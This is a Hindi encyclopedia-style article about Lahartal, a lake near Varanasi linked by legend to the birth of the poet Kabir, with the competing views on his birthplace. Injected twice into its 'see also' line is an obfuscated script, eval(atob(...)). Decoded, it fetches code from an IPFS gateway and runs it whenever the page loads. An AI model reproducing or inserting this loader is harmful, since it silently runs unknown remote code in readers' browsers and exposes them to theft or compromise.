लहरताल

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लहरताल अथवा 'लहरतारा' वाराणसी (उत्तर प्रदेश) से तीन मील की दूरी पर स्थित एक झील है। एक किंवदंती के अनुसार यह माना जाता है कि उत्तर भारत के प्रसिद्ध संत कवि कबीर का जन्म यहाँ हुआ था।[1]

  • कहा जाता है कि कबीर एक विधवा ब्राह्मणी के पुत्र थे। वह विधवा स्त्री लोकलाज से बचने के लिए नवजात शिशु को इस ताल के किनारे डाल गई थी। दैवात् उधर से 'नीमा' तथा 'नीरू' नाम के जुलाहा दंपति जा रहे थे। वे इस बालक को ममतावश घर ले आए और उसे पालपोस कर बड़ा किया।
  • लहरताल एक शांतिपूर्ण एवं रमणीक स्थान है और इसके निकट घने वृक्षों का उपवन है।
  • इसके पास ही कबीर का एक पुराना मंदिर है। कबीर का जन्म संभवतः 1397 ई. में हुआ माना जाता है।

कबीर के जन्मस्थान पर मतभेद

कबीर के जन्मस्थान के संबंध में तीन मत हैं- मगहर, काशी और आजमगढ़ में 'बेलहरा गाँव'।

  • मगहर के पक्ष में यह तर्क दिया जाता है कि कबीर ने अपनी रचना में वहाँ का उल्लेख किया है- "पहिले दरसन मगहर पायो पुनि कासी बसे आई", अर्थात् "काशी में रहने से पहले उन्होंने मगहर देखा।" मगहर आजकल वाराणसी के निकट ही है और वहाँ कबीर का मक़बरा भी है।
  • कबीर का अधिकांश जीवन काशी में व्यतीत हुआ। वे काशी के जुलाहे के रूप में ही जाने जाते हैं। कई बार कबीरपंथियों का भी यही विश्वास है कि कबीर का जन्म काशी में हुआ। किंतु किसी प्रमाण के अभाव में निश्चयात्मकता अवश्य भंग होती है।
  • बहुत-से लोग आजमगढ़ ज़िले के बेलहरा गाँव को कबीर साहब का जन्मस्थान मानते हैं। वे कहते हैं कि ‘बेलहरा’ ही बदलते-बदलते लहरतारा हो गया। फिर भी पता लगाने पर न तो बेलहरा गाँव का ठीक पता चला पाता है और न यही मालूम हो पाता है कि बेलहरा का लहरतारा कैसे बन गया और वह आजमगढ़ ज़िले से काशी के पास कैसे आ गया? वैसे आजमगढ़ ज़िले में कबीर उनके पंथ या अनुयायियों का कोई स्मारक नहीं है।


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: कबीर आलेख, कबीरपंथ, कबीर जयंती एवं कबीर के दोहे<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 814 |

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